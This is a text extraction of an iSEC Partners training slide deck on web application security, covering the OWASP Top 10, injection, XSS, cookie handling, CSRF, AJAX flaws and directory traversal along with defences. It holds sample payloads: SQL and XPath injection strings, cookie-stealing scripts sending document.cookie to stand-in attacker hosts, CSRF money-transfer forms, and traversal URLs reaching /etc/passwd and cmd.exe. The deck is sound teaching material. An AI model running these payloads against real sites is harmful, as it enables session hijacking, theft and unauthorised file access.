Sie sind auf Seite 1von 122

Basics of Web Application Security

Scott Stender
Vice President, iSEC Partners

https://www.isecpartners.com

Agenda: Web Application Attacks


Modules
Application Security and OWASP Top 10
Injection Attacks in Web Applications
Cross-site Scripting

Session and Cookie Management


Cross Site Request Forgery
AJAX Vulnerabilities
Directory Traversal
Information Disclosure

Web Application Security

Application Security
What are application attacks?
Attacks on applications that communicate at the upper

layers of the OSI model


These attacks target mistakes in data validation
The attacks can circumvent both application and operating

system security controls

These attacks target mistakes in specific business logic


Example, manipulating feedback or rating systems

Why are application attacks so significant?


They penetrate firewallseasily
Many application attacks occur over port 80 and 443
Other application attacks occur over valid protocols such as 1433
(SQL)
Everything over HTTP or HTTPS
e.g. RPC over HTTPS
4

OWASP Top 10 2010


1. Injection
2. Cross-Site Scripting (XSS)
3. Broken Authentication and Session Management
4. Insecure Direct Object References
5. Cross-Site Request Forgery (CSRF)
6. Security Misconfiguration
7. Insecure Cryptographic Storage
8. Failure to Restrict URL Access
9. Insufficient Transport Layer Protection
10. Unvalidated Redirects and Forwards

Well go over all of these, some in detail.


http://www.owasp.org
5

Injection
Common class of vulnerabilities
Many languages mix code and data
SQL
XPath
XQuery
XML
XSLT
LDAP
Perl, Python, PHP, ASP
Vulnerability comes from dynamically creating

instructions with user data


If an attacker can break out of data jail, they win

Base fix: Input Validation


Will discuss in detail
6

Cross Site Scripting (XSS)


This is when a bad guy controls the content of a

website to inject dangerous script


Attack against user through an insecure application

Will cover in detail

Broken Authentication and Session Management


HTTP is Stateless
Need to track identity and state request to request
Not possible to have any basic web app functionality without this
Different ways to track state
Rewrite pages with hidden POST field
Rewrite pages with GET parameter
Cookies
Typical Method:
1. User GETs login page
2. Response is HTML. Maybe tracking cookies, but no session cookie.
3. User POSTs login credentials.
4. POST response does a Set-Cookie to give session to client
5. All requests have Cookies attached

Broken Authentication and Session Management


What can go wrong?
Guessable cookies
Cookies not properly protected
Cookies stolen
Improper cookie scope
Cross Site Request Forgery
Well talk about these issues in detail

Insecure Direct Object References


Internal references exposed directly to the end user.
E.g., application hosting platform includes a

parameter to specify the target database instance to


connect to
If this is a full URL, attacker may be able to specify

their own database and control the application.


Use cryptographic integrity protections or opaque

references instead.

10

Cross-Site Request Forgery (CSRF)


Sites may be constructed such that another site can

drive a users browser through it, performing


actions with the users cookie or other credentials,
without their knowledge.
Well discuss this in more detail soon.

11

Security Misconfiguration
Its not just your code, think of the entire stack
For Windows Web App:
C# Code, .Net CLR, ASP.Net ISAPI, IIS 6 Worker Process,
HTTP.SYS, Kernel TCP Stack
Configuration of complicated app servers is a difficult

specialty
Too often left to the SysAdmin that thinks Java is an island that

grows coffee

Default configs are getting better


Still standard mistakes:
Error handling
Banners and default manuals
Unnecessary attack surface
Bad SSL settings
12

Insecure Cryptographic Storage


Somewhat lame OWASP bug
Securely storing secrets in a web app is almost

impossible
The entire idea is information on tap
Any magic encryption is useless
Example: Why do hard drive encryption when an

attacker is going to get data by SQL Injection?


Still, securely storing secrets is important

13

Failure to Restrict URL Access


Security through obscurity.
Only send user to secret URL after logging in.
What if user types the URL directly into their

browser?
Also are URLs protected only by being secret?
/admin
/debug

OWASP also says this includes performing

authorization checks on client-side, e.g. in


JavaScript, instead of server-side.

14

Insecure Transport Layer Protection


Use HTTPS for anything and everything that matters.
Dont mix HTTP and HTTPS on your site

HTTP provides no security.


Authentication with HTTP isnt.
Access Control with HTTP isnt.

15

Unvalidated Redirects and Forwards


Do you do HTTP 302 redirects?
Common for login, single sign on
Rurl, returnurl parameters in many frameworks

Think of the return URL like the return address on the

stack
User may trust where they get sent

Attacker may include malicious parameters or an XSS

payload
Use a whitelist, dont let the attacker control this

16

OWASP Wrap Up
Know a little bit about all of these issues

More focus coming upon the important ones.

17

Code Injection

Code Injection - SQL

Code Injection

The ability to send commands to backend servers for execution


Input fields that are not validated are simply a medium of transfer for malicious code,
commands, and scripts.

Web App
Username

Command: Add User


Command
Executed

Password

Database Server
HTTP

Command

Attacker

Code Injection - SQL


Code Injection
SQL commands (Insert, Drop, Group By, Select)
Calls to extended stored procedures (xp_cmdshell)

The apostrophe (') is the most common test case


This demarcates a string literal; stray ones do not parse

well
An error response often indicates an invalid SQL string
A valid return means that some level of protection is in
place

20

Login Using SQL


Web App

SQL Statement

Username

test_user

Password

test_password

SELECT role FROM


user_auth where name=
' test_user '

and password =
' test_password '

21

Code Injection Password Field


Web App

SQL Statement

Username

test_user

Password

' or 1=1--

SELECT role FROM


user_auth where name=
' test_user '

and password =
' ' or 1=1-- '

22

Code Injection - SQL


SQL Injection often requires tuning of attack code
Real applications are complicated and use complicated requests
Generic attack payloads like ' or 1=1 -- are not effective
Several techniques exist to massage data from error

messages
UNION SELECT operations can access all tables

Error messages provide information on number of arguments,

column names

Blind SQL Injection is required for apps with generic errors


Generally rely on returning information 1 bit at the time
Use code the distinguishes between error messages
Standard trees can be used to determine Schema
Actual table data can be returned bit by bit with compares

Several frameworks to do this automatically exist

23

Code Injection - SQL


Protections against SQL Injection
Use of prepared/parameterized statements
Proper use of stored procedures
Input filtering
'";-#(),
Take into account localization

Verification
Every field in a web app should receive every special

character
Review code and stored procedures for dynamic SQL
Static analysis tools are effective for straightforward
injection attacks

24

SQL Injection References


Litchfield et al. Database Hackers Handbook, Wiley 2005
SQLBrute Attack Tool:
http://www.justinclarke.com/archives/2006/03/sqlbrute.html
SPI Dynamics White Paper:
http://www.spidynamics.com/whitepapers/Blind_SQLInjection.pdf

25

What is XPath?
XPath is a simple language to locate information in an

XML document

Cross between directory browsing and RegEx


XPath 2.0 is the basis for XQuery language, XML successor to

SQL
XPath always returns a set of results
XPath against a simple example:

<car>
<manufacturer>Toyota</manufacturer>
<name>Corolla</name>
<year>2001</year>
<color>blue</color>
<description>Excellent condition, 100K miles</description>
</car>
car returns all children of car node
/car returns the root car element
//car returns all car elements in the document
car//color returns all colors under car element
//car/[color=blue] returns all cars that have a color child equal to blue

26

Code Injection - XPath


XPath can be used to access a XML-Enabled Database

SQL Server 2000 and above


Oracle (8i+)
Access 2002+
IBM Informix
Berkeley DB XML - Native XML Database

What is the problem?


Like SQL, XPath uses delimiters to separate code and data
Unlike SQL
There is no access control inherent in XML or XPath
Prepared statements are rarely used, not guaranteed safe
If an attacker can control data in an XPath statement, they

can access arbitrary parts of the XML file, or return arbitrary


data
27

Code Injection - XPath

An example use of XPath Looking up Username/Password in XML

//user[name=Joe and pass=letmein]


Return the user with this name and pass.

With Simple XPath Injection: or 1=1 or =


//user[name=Joe or 1=1 or = and pass=letmein]
Return all of the users

With XPath Injection: or userid=1 or =


//user[name=Joe or userid=1 or = and
pass=letmein]/userid
Return all of the users with userid=1

28

LDAP Injection

LDAP Servers are often used in the same situations as SQL

Often used for authentication


Also popular for internal directories
Such situations use the LDAP Filter Grammar

Company Directory
(cn=Steve)(|Office=*)(|Ext=*)
Username

Steve

Users Info

Steve

Steve Jones
Office: 43-153B
Ext. 3-1337

LDAP Server

User

LDAP Injection

What if there was more dangerous information in the directory?

SSN
Salary
Home Address

LDAP Injection Allows me to modify the filter to return more values

(cn=Steve)(|SSN=*)(|Office=*)(|Ext=*)

In LDAP injection, there are more dangerous characters

( or )
| (this is an OR function)
& (this is an AND function)

Only protection is Input Filtering

No such thing as prepared statements


Generally LDAP is not executable, so less chance of system take-over

30

Response Splitting

HTTP Response Splitting occurs when an attacker is able to influence HTTP


Response Headers
Allows the attacker to influence the HTTP protocol
Can influence content and/or its origin as viewed by the browser

HTTP/1.1 200 OK
Cookie: Foo=Bar;
Content-Length: 10
Content-Type: text/html; charset=UTF-8
<HTML></HTML>

HTTP/1.1 200 OK
Cookie: Foo=Bar;
Content-Length: 54
<HTML><BODY><SCRIPT>alert(XSS)</SCRIPT><BODY>
</HTML>
HTTP/1.1 200 OK
X-NULL: ;
Content-Length: 10
Content-Type: text/html; charset=UTF-8
<HTML></HTML>

When using attacker-supplied input in headers strip the Return Character (\r) and
the NewLine character (\n)

31

Injection Attacks - Conclusions


Any mixed data-instruction language is vulnerable
We didnt cover:
PHP, PERL, sh (popular in old cgis), XQuery
Server Side Includes
Etc

Key points to defense:


Use invulnerable access methods when possible
Prepared statements
Understand what is dangerous
Encoding techniques make this an uphill battle
Use whitelisting!
Its much easier to know whats allowable
When in doubt, encode
Encoding possibly dangerous characters is a good compromise

32

The Same-Origin Policy

The Web Security Model


Simple in concept, complex in effects
What some people at Netscape decided would be a

good idea in 1994


Called the Same-Origin Policy

34

The Same-Origin Policy


All data to the browser comes from an origin.
Whats an origin?
The tuple of protocol, host and port
http://www.foo.com/bar/baz/x.html
http://www.foo.com/secure/text.xml
https://www.foo.com/secure
http://www.foo.com:443/secure

} same origin

} not same origin

35

Same-Origin Policy
Applies to cookies
This is why one site cant read your authentication

tokens for another site


Slight wrinkle: cookies not marked otherwise will be
sent to both http and https on standard ports
Also applies to JavaScript
Script and XMLHttpRequest can only read data loaded

from and connect back to the same origin


Includes cookies
Means that cookie path attribute doesnt really work

Another wrinkle: scripts can be sourced from any

domain.
Well talk about this more in the AJAX module

36

Same-Origin Policy
Adopted by other common browser add-ins
Java, Flash, Silverlight

Usually have some extra properties.


Java applets can load and communicate with location

classes are loaded from, not just site its embedded in


Flash and Sliverlight have policy files on the site of
origin that may allow access to other sites
Check your plugin documentation for details

37

Why does this matter?


Underpins most of the important parts of web

security.
What keeps ads.untrusted.com from reading data or
sending transactions to your session to
secure.mybank.com in another frame or tab
The fundamental trust boundary in the browser.

Circumvention of the Same-Origin Policy is the goal of


attackers using Cross-Site Scripting, Cross Site Request
Forgery or certain state management attacks

38

Cross-Site Scripting (XSS)

Cross Site Scripting


The ability to post a script and have it execute on a targeted machine (via a
browser) from another site (usually trusted)

Site
Script Executed

Script

Attacker

Target

Cross Site Scripting Impact

Key Question:
What does this accomplish that cannot be
by hosting script on a malicious web site?

41

Cross Site Scripting Impact


Common attacks include:
Send the targets cookie, including session ID, to the attacker
Capture sensitive information from DOM and forward to attacker
Automate sensitive server-side actions as the authenticated victim
Sophisticated attacks may:
Subvert network security devices on your network
Interact with Local System zone resources, like the Windows

shell

42

Cross Site Scripting


The following JavaScript will send your cookies to an

attackers machine when executed by a browser:


<script>
image=new Image();
image.src="http://attacker.IP.Address
/?cookie="+document.cookie;

</script>

43

Cross Site Scripting


The following will javascript will show the contents of

your cookie as you mouse over the work Security:


<SCRIPT Language='JavaScript'>
<!-- JavaScript Follows function winopen () {
msg=open("","NewWindow","toolbar=no,location=no,directories=no,status
=no,menubar=no,scrollbars=no,resizable=no,copyhistory=yes,width=400,h
eight=260");
msg.document.write("<HEAD><TITLE>Welcome</TITLE></HEAD>");
msg.document.write("<CENTER><h1><B><script>alert(document.cookie)</sc
ript></B></h1></CENTER>");
}
//JavaScript Ends -->

</SCRIPT>
Move mouse over
<a href="URL" onMouseOver="winopen();return true;">Security</a>

44

Cross Site Scripting


Where does the script come from?

Inputs without proper input and output validation


QueryString parameters
POST content parameters

Less common - cookies and other headers


Non-web sources, like user databases

Common sources
Bulletin board pages
Personal information profile pages
Message boards
Calendars
Link content

45

Cross Site Scripting


So I just look for <script> and Im ok, right?

XSS can surface in many contexts

<script>alert(1)</script>
<script src= " http://foo.com/bad.js " />
<a href= " javascript:alert(1) " >
<a href= ' javascript:alert(1) ' >
<a href= "http://www.foo.com " onmouseover="javascript:alert(1)" >
function foo()
{var a = 'benign ';alert(1); ' '}
document.write('<a href= "http://www.foo.com " onmouseover="" >')
See http://ha.ckers.org/xss.html for more details

Key Lesson: Always be aware of the context

Text delimiters depend what is around you


Canonical XSS examples are not necessary for exploit

46

Cross Site Scripting


Input Validation
Filter truly invalid input zip codes do not need A-Z
Defense-in-depth Reject obviously malicious tags

Output Validation
Encode text to context-suitable format
Hello <script> Goodbye -> Hello &lt;script&gt; Goodbye
var foo='bar';alert(1)'; -> var foo='bar\x27\x3balert\x281\x29';

47

Cross Site Scripting


Encoding foibles
Assume that < > " ' are all you need to escape
var a = 123;alert(1);
Nave escape characters before < > " '
var a = "foo\\";alert(1);"";
Not minding your encoding
UTF-8 non-minimal sequences, eating escape characters, etc.
UTF-7 inference in old browsers
Code page transformation between systems

Best practice
Use a library specifically for anti-XSS encoding

Encode everything that is NOT alphanumeric


48

Cookies and Session Management

Introduction
But I already know all about cookies
Maybe you do, but the developers of applications we test tend not to!
The attacks against cookies, and the number of things that can go

wrong in development and deployment, are numerous.


Numerous, and sometimes weird

We need to be able to effectively communicate the

threats and the solutions


To developers
To systems administrators

To network administrators

50

Introduction
Most web applications use client-side cookies to index a

state table on the server side.


Session state is usually represented with a special-

purpose object type, stored on the server.


It could contain anything relevant to the application:
User profile
User privileges
Cached data from a back-end store
Browsing history, workflow information
CSRF prevention tokens (you defend against CSRF, right?)

51

Introduction

Sometimes applications try to be stateless, meaning that the server holds no


state not that there is no state.

These applications usually do have some state, but it is stored in the cookie, rather
than the cookie being a reference.

Drawbacks:
The confidentiality and integrity problems are rarely handled well
There is a limit on the size of cookies
Replay attacks (!)

Benefits:
Easy load-balancing and HA
Small server memory footprint
Perhaps lower latency (fewer wacky network appliances)

I wont talk about these applications today, since they are rare and hairy.

52

Cookie Attributes

In addition to a name=value pair, cookies have attributes:


Path (string: path prefix for URI)
Expires (string: date)
Domain (string: host or domain name)
Secure (boolean)
HttpOnly (boolean)
Port (integer)
Others

See RFC 2965 for the necessary details.

Each of these attributes has a security function, and they can interact in
sometimes surprising ways. More on that later.

Ill use the term scope to refer to the combination of Domain, Port, and Path.

53

Setting Cookies

The server sets the cookie by putting a Set-Cookie header in the response.

HTTP/1.1 200 OK
Date: Sat, 14 Jan 2017 20:24:31 GMT

Server: Apache/2.0.36 (Unix)


Set-Cookie: JSESSIONID=3E880015CF879C5014FEAB04C6623203;
Path=/myapp
X-Transfer-Encoding: chunked
Content-Type: text/html;charset=ISO-8859-1
Content-length: 5219
Response data here

54

Sending Cookies

The client sends the cookie by putting a Cookie header in the request.

GET http://www.example.com/myapp/index.html HTTP/1.1


Accept: */*

Accept-Language: en-us
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT
5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
Proxy-Connection: Keep-Alive
Host: www.example.com
Cookie: JSESSIONID=3E880015CF879C5014FEAB04C6623203

55

What Attackers Do: Attack Classes


Attackers want to know the value of the session cookie

(or other sensitive cookies, if any).


They can try to guess it
They can try to discover it
They can try to set it

If the attacker succeeds, its game over: they hijack the

victims session.
The victim may become annoyed

If the victim is a privileged user, many people may become annoyed

56

Attack Class: Guessing


If the session ID is low in entropy and/or small (32 bits or

less), the attacker wins by brute force.


Oops.

To find applications with weak session IDs, check out

Michal Zalewskis stompy tool, and the SessionID


Analysis feature in WebScarab.
Most web application frameworks have high-entropy
session IDs. Thankfully.

57

Entropy: Its Whats for Dinner


When reviewing an application, determine how session

IDs are generated.


If its J2EE or .NET, you should probably give up and look

for another weakness these cookies are generally


highly entropic.
Otherwise, look at the source. Home-brew session IDs

are often weak.


J. Random Hackers Half-baked Web Application Framework version

0.4 counts as home-brew, too.

58

Entropy: Its Whats for Dinner

Good: High-entropy sources


java.security.SecureRandom (Java)
System.Security.Cryptography.RNGCryptoServiceProvider (.NET)
/dev/urandom, /dev/(s)random (if the latter, look for exhaustion attacks!)
OpenSSL RAND_bytes(3)
Hardware security module

Bad: Low-entropy sources


Time and date
Developers name
A random static string in the source code
C library rand(3)
java.util.Random
Small (32 bits or less) numbers
Cryptographic hash of the above, or anything else predictable

59

Attack Class: Discovery

If the cookie is not well protected from eavesdroppers, malicious script in the browser
(XSS), or scope tricks, the attacker wins.

Attackers can use passive network eavesdropping (sniffing) to read cookie values
(and, of course, entire requests and responses) when the application does not use
HTTPS.

XSS attacks often, of course, focus on stealing the session cookie.


XSS allows other stuff, but today we are concerned with session management.

Attackers can trick the browser into handing them the cookie.
DNS poisoning
Anti-DNS pinning
Setting up a malicious server in the domain
Active network attacks

60

Attack Class: Setting the Cookie


Setting the cookie: Browser priming, session fixation.
If the application re-uses a cookie when the session

transitions from anonymous authenticated, the attacker


can employ various means to set a cookie value of their
choice in the client, and then wait for the user to
authenticate.
Now the attacker knows the value of a session ID for an authenticated

session!

The same problem can be present if the application re-uses

the cookie when the session transitions from


authenticated/low-privilege authenticated/higherprivilege.

61

Simple Exploitation Scenarios:


Plaintext HTTP
Everybody knows about tcpdump and Wireshark.
But if the cookies Secure attribute is not set, an attacker can often

force or entice a victims browser to follow a link to a plaintext


resource in the scope of the cookie.
Example: ExampleCos application, https://app.example.com/, is

deployed on an HTTPS server. HTTP requests are redirected to the


HTTPS login page. The Secure flag is not set on the session cookie.
The Domain is unset.
Where is the bug?
62

Simple Exploitation Scenarios:


Plaintext HTTP
A passive attacker entices the user, and an active

attacker forces the browser, to make a request to the


HTTP site.
<img src=http://app.example.com/whatever.jpg />

The browser does what it was told: it sends the cookie.


Attacker: Wireshark time!

63

Simple Exploitation Scenarios:


Plaintext HTTP
ExampleCos non-profit tax shelter runs an application at

https://app.example.org/. The server only listens for


HTTPS on port 443 no other services are running. The
Secure flag is set on the session cookie. The Domain is
.example.org.
Where is the bug?

64

Simple Exploitation Scenarios:


Plaintext HTTP
A passive attacker entices the user, and an active

attacker forces the browser, to make a request to


another HTTPS server in the cookies Domain.
<img src=https://evil.example.org/whatever.jpg

/>

The browser does what it was told: it sends the cookie.


The attacker sets up their own server at evil.example.org

and uses that hostname in the URL; then simply accepts


delivery (this may or may not require DNS tricks).
65

Simple Exploitation Scenarios:


Plaintext HTTP
ExampleCos Tonga branch office runs an application at

https://app.example.to/. The server only listens for


HTTPS on port 443 no other services are running. The
Secure flag is not set on the session cookie. The Domain
is unset.
Where is the bug?

66

Simple Exploitation Scenarios:


Plaintext HTTP

The browser really wants to send the cookie over a plaintext connection the attacker just
has to ask it nicely.

Since the server is not listening on port 80, the client cannot create a TCP connection to it,
and thus cannot send the cookie.

Instead, the attacker creates a plaintext link to port 443:


<img src=http://app.example.to:443/whatever.jpg />
The browser will get an error from the SSL server at app.example.to:443 (an HTTP
request is not a valid SSL client hello message)
But by then its too late the cookie has been exposed in the plaintext request!

Alternative: The active attacker can fake it!


Runs their own server on their machine, port 80
Uses Ettercap to send the clients Ethernet frames to their server
Poisoning DNS, commandeering DHCP still work fine, too, of course

67

Additional Discussion
What about load balancers and other network devices that

terminate the SSL session before it reaches the server?


Many application servers will foolishly think they are running
over HTTP and not set the Secure flag if SSL is terminated for
them.

Such devices have to understand HTTP to do e.g. sticky load

balancing anyway, so they should be able to set the Secure


flag on cookies as they go out.

Apache can do it. Can your Expensive Product?


Alternately, the web server and the LB use SSL also.
Alternately, the web app sets Secure anyway, and the LB forwards it on
without knowing or caring. All is good.

68

Additional Discussion
1. Since the attacker owns the network, how do we ever

trust an endpoint?

SSL server (and possibly client) certificates, of course.


Brainstorm ways to subvert SSL, beyond cookie foibles already
discussed.

2. If we really, really wanted the benefits of stateless

session management, how would we do it as securely as


possible?

We need integrity and confidentiality of the session state provided


by the client in the cookie.
To what extent can we defend against replay attacks?

69

Conclusions
Assume the attacker owns the network.
Every aspect of the cookie must be solid, or you have no

secure session management.

Without secure session management, the application is

vulnerable.

Except in the case where everything is done right except for

high-entropy cookie generation, you can immediately


determine if there are vulnerabilities.

Youll want source code, or many samples and the NIST test suite

(http://csrc.nist.gov/rng/), to check the entropy.

70

Cross Site Request Forgery

Cross Site Request Forgery


Cross Site Reference Forgery abbreviated CSRF or XSRF
http://www.isecpartners.com/documents/CSRF_Paper.pdf

One Click Attacks


Implies that a click is required, explanation usually involves

form posts

Session Riding
Descriptive name, used by Martin Johns at informatik.uni-

hamburg.de

CSRF
Cross Site Request Forgeries common abbreviation used

by CVE

CSRF Explained

Story
An innocent victim was monitoring his net worth with a stock ticker

from his brokers site


This ticker is a Java app running in a small iexplore.exe window
Needs to have a valid cookie, because it gets the victims portfolio

So the victim is browsing the web, and he:


Reads a stock board at finance.yahoo.com
Reads a message pointing to leaked news on the stock
Clicks on the link, which is a TinyURL
Gets redirected to cybervillians.com/news.html
Spends a minute reading a story posted there that looks a lot like
something written for the WSJ
6. Gets bored and leaves the site
.
1.
2.
3.
4.
5.

CSRF Explained
7. Gets his monthly statement from his stock broker, and

notices that $5000 was transferred out of his account!!!

but the victim and attacker worked for us.

So what happened?

CSRF Explained
Web applications with predictable Actions are
susceptible
For example this simple HTML form:
<form action="transfer_money.cgi">
Account to transfer into <input type="text" name="account">

Amount ($) to transfer


<input type="submit">
</form>

<input type="text"name="amount">

CSRF Explained
Internet Exploder

CyberVillians.com

GET news.html

www.cybervillians.com/news.html

B er n an k e R eal l y an A l i en ?

HTML and JS

script

HTML Form POSTs

ticker.stockbroker.com
Java

StockBroker.com

CSRF Explained
Applications are vulnerable to CSRF when:

They use cookies, browser authentication or client certificates to handle


authorization

AND

They have a predictable control structure

Attackers redirect an authenticated user to perform an


action
they are permitted to do. Browser security models allow this
it can involve POSTs or GETs, iFrames, images, frames, or
content of any type.

CSRF example exploit


An attacker with an account number 31938441 creates a mass

mailing, blog post, instant message etc. that contains the


following url:
https://stockbroker.com/transfer_money.cgi?account=31938441&amount=100
This could be a tinyURL, link to a story, etc.

The attacker is betting that someone who clicks it will already


be logged into stockbroker.com.

CSRF example exploit


Images can also be used:
The attacker could buy ads that contain this image link.
<img
src=https://stockbroker.com/transfer_money.cgi?account=31938441
&amount=100.00>

Or could post the image to her blog.

Detection
Discovering CSRF vulnerabilities is simple:
Look at the POSTs or GETs that cause a change
Eliminate unpredictable components
See if the change still works
There are often no unpredictable components!
In this case assuming susceptibility is reasonable

Detection: A clearly high risk action


GET
http://www.vulnerable.com:80/changePassword?newPassword
=danger&verifyNewPassword=danger
HTTP/1.1

The user is determined by the Session, there is no old


password.

GET
http://www.vulnerable.com:80/createUser?name=Bob&level=
Admin&password=pass
HTTP/1.1

Creating a user with a predictable request format.

Detection: A Medium to High risk


action
GET
http://www.vulnerable.com:80/changePassword?userId=3831&ne
wPassword=danger&newPassword2=danger
HTTP/1.1

Attackers may need to know which user they are targeting.


It would be high risk on an Intranet where determining the
user
is likely trivial. Also note the user ID is fairly low entropy.
Test if omitting userId causes the action to fail, it very well
may not as it should be implied by the session.

Detection low to no risk.


GET
http://www.vulnerable.com:80/editUser?newPassword=goof&new
Password2=goof&oldPassword=jd7a*ajd7cdquKIuakd
HTTP/1.1

Attackers would need to know the old password. If

they know that, why are they messing around with


CSRF.

GET
http://www.vulnerable.com:80/editUser?newPassword=goof&new
Password2=goof&CSRF_Token=7a6287d13f3919e4557a3d88b12a0
0a1927163831199
HTTP/1.1

As long as the CSRF token is secret, and required we are

safe.

Some known good fixes


Hidden fields are used to store a token:
Random token verified server side
Attackers wont know the secret value
Servers need to generate a small random number
Random numbers need to be stored as session state
New random numbers often needed for every action!
Simple, but consumes server memory.

Some known good fixes


Hidden fields are used to store a token:
Cryptographic hash based token verified server side
HMAC_SHA1(SessionID + action name, 128_bit_secret)
No per session server storage required
Attackers who recover the token cant compute the
SessionID
Small CPU cost for the HMAC_SHA1 computation
More complex, low memory requirements, minimal CPU
load.

Known bad fixes


Changing the method of the form from GET (default) to
POST
<form method="post" id="evil" name="evil"
action="https://stockbroker.com/transfer_money.cgi">
<input type=hidden name="account" value="31938441">
<input type=hidden name="amount" value="100.00">
</form>

<script>document.evil.submit()</script>

This self posting form could be embedded in a site.


A misleadingly labeled form could post a money transfer

too.

Known bad fixes


Referer HTTP header validation
Legitimate users could have no referer header
SSL generally avoids referer header
Attackers can force users to not provide a referer
header
Use the session ID or password as the secret
Dangerous, especially for HTTP get operations
Sensitive tokens can end up in http logs, proxy logs etc.
Referer header for example can spread them to other
sites
Keep secrets secret by not reusing them

Other potential fixes


The .NET framework has a ViewStateUserKey
Documentation now mentions preventing one-click

attacks

BUT
can help you isnt a reasonable standard for security
The exact mechanism used is undocumented
Suggested values include the users name, and session ID.

These values are nave, it is likely that attackers can


predict user names, so where is the entropy!?!

AJAX Attacks
Asynchronous JavaScript And XML

89

AJAX Intro
Common AJAX Mechanism:
1. Download HTML and Framework Script
2. Upstream XML, JSON or JavaScript Arrays
3. Downstream eval-able Javascript

1. HTTP GET
2. HTML and JS

3. Asynchronous XML POST


4. Javascript to wrap in eval

AJAX Vulnerabilities

XSS

Attacker-controlled input now running inside a Javascript Block


Dont need a <script> tag, just to break out of escaping

Usually two levels of escaping

eval(var downstreamArray = new Array();


downstreamArray[0] = foo; alert); //;);

The domain of dangerous characters is much larger

How many ways to break out when your code is already inside of JavaScript?

XML Injection
In situations where response is full XML
<downstreamInfo>
<item>foo</item><dangerousItem>bar</dangerousItem><item></item>
</downstreamInfo>

JSON, other transport templates can also be injected

91

AJAX to XSS in Browsers


Sometimes AJAX doesnt use HTTP POST
GETs can be lighter weight
If an AJAX app returns JavaScript (or arrays or JSON) from a GET, it
creates transient XSS thru linking
Attacker opens an account at WebMail.com
Webmail.com uses a GET to get message source in array
Attack
1. Attacker sends himself email with script in it
2. Attacker reads his email, sees that the URL to get it is:
http://www.webmail.com/mymail/getmessage?id=1234
3. Attacker sends victim same link
4. Victim gets this code:
var messageArray = new Array();
messageArray[0] = <script>var i = new Image();
i.src=http://badguy.com/ + document.cookie;</script>

92

AJAX Vulns
AJAX XSRF

Asynchronous JavaScript and XML Cross-Site Request Forgery


Whew!

XMLHTTP Object is supposed to deny cross-domain 2-way


communication
Several browser bugs later
Certain common plugins allow this by design
Lots of web developers want this restriction loosened*

XMLHTTP POSTing is not restricted


1. User has stock ticket open with AJAX stream
2. User goes to BadGuy.com
3. BadGuy.com creates an iFRAME, writes code into iFRAME DOM, executes

iFRAME method
4. iFRAME does XMLHTTP request to stocktrader.com, browser automatically
appends cookie

Bottom Line:
All AJAX apps that only rely on cookies are vulnerable
Solution: In-band state management
Generate a token, include with requests
*Google for XMLHTTP Cross-Domain

93

Directory Traversal

Directory Traversal

Directory traversal has plagued many commercial web servers for several
users, including IIS and Apache

This is a classic attack that affects more than just web servers
Anybody who uses operating system file I/O libraries is vulnerable!

Can result in

fopen()
ReadFile()
CreateFile()
WriteFile()
Enumeration of information
Exposure of sensitive files
Arbitrary System Control

Examples

Directory Traversal

IIS URL Encoding

../../..
..%c0%af..%c0%af..

Apache User Enumeration

/~root
/icons/

95

Directory Traversal
Breaking out of the web root
/ can be re-encoded to %c0%af in order to bypass web server filters
/../.. is equal to ..%c0%af..%c0%af..

After a second URL decoding security check, the / can be re-encoded to

%255c also
\..\.. is equal to ..%255c..%255c..

Breaking out of the web root to the primary operating system


/var/www/html

http://127.0.0.1/index.html
Change directories (cd ..) back to / and then on to /etc/passwd
https://127.0.0.1/index.html/../../../etc/passwd

Chroot jails are often used to lock Apache to its own section of the file

system

96

Directory Traversal
Directory Traversal
IIS
http://<testsite>/scripts/..%255c..%255c../winnt/system32/cmd.exe?/c

+dir

Command line access on the web server

Apache
http://<testsite>/icons/

Enumeration of files and folders


http://<testsite>/~root
Enumeration of usernames and home directories

97

Information Disclosure

Sensitive Information in GET Parameters

A frequent source of data disclosure is parameters passed to an HTTP server as


part of a GET request. These parameters can be unintentionally disclosed via a
number of different channels, including:

HTTP proxy logs


GET parameters are stored in HTTP request logs on the webserver
Referrer headers are disclosed to third parties when mixed-domain content is
displayed, or in the clear if HTTPS is not used
Browser history is usually stored unencrypted on the client
WAP-to-HTTP gateways will record GET requests

For this reason, GET requests should not include any sensitive data that would
allow an attacker to either learn secret information or to replay transactions.

All sensitive user-supplied data should be submitted via a POST request.

99

HTTP and HTTPS on a Single Page

Never mixing HTTP with HTTPS pages avoids many common scenarios of data
disclosure.

If HTTP and HTTPS are mixed, loading off-site content may send the Referer
header over the network in the clear, and on-site content will cause the browser
to send session cookies in the clear.

Additionally, this introduces the possibility for an attacker with control over the
network to modify server responses, causing the user to execute JavaScript and
granting the attacker control over the users browser.

For these reasons, all content delivered to a user from a HTTPS web page should
be encapsulated by SSL.

100

Referer HTTP Header

The Referer HTTP header is sent to a server when a user loads content from a
domain different than that of the previous query. This can either be a link to
another website, or an image loaded from another server.

The Referer contains the full GET content of the previous request. The Referer is
not sent to a non-secure page if the referring page was viewed over a secure
connection. However, if both the referring page and the referred page are loaded
over a secure connection, the Referer header is still sent.

This means that when loading a page over a secure HTTPS connection which
includes images delivered from a remote site, also over HTTPS, the content of the
last GET request is sent to the third party.

If a parameter is disclosed, which can be used by a third party to craft CSRF


attacks against the user, or to view data unauthorized by exploiting weaknesses in
access controls.
101

Security Testing

Tool Classes
Attack Proxies
Intercept, display, and modify requests
Key benefits profiling, directed testing

Passive Proxies
Keep an eye out, note security flaws
Key benefits simple flaws and configuration issues

Automated Dynamic Analysis


Automated discovery and testing

Automated Static Analysis


Automated code analysis

103

Attack Proxies
Key Features
Intercept and display web requests and responses
Modify and replay requests
Automated analysis

Examples
Fiddler
Good for Windows-based work, bad for heavy testing
WebScarab
Good for multi-platform use, ugly and not user-friendly

Many others Paros, Burp, etc.

104

Passive Proxies
Key features
Intercept and analyze web requests
Identify those flaws that do not require testing
Good for configuration settings, cookie properties,

etc.
Examples
Watcher - Fiddler plugin
Proxmon - Webscarab log analyzer

105

Automated Dynamic Analysis


Features
Identify and spider all web pages from a starting

page
Provide automated testing for common flaws
Examples
WhiteHat

WebInspect

106

Automated Static Analysis


Features
Analyze source code or binary code to identify flaws
Perform data flow analysis between Source and

Sink where attacker input enters and where it may


do harm
Examples
CAT.Net
Fortify, Coverity, many others

107

Test Methodology
No Silver Bullet!
Use the best tool for the specific job at hand

Augment with directed testing, custom tools where

necessary

108

Cryptographic Foibles

Common Scenarios
State-filled cookies
Encrypted URL Parameters

Cross-site authentication scenarios

110

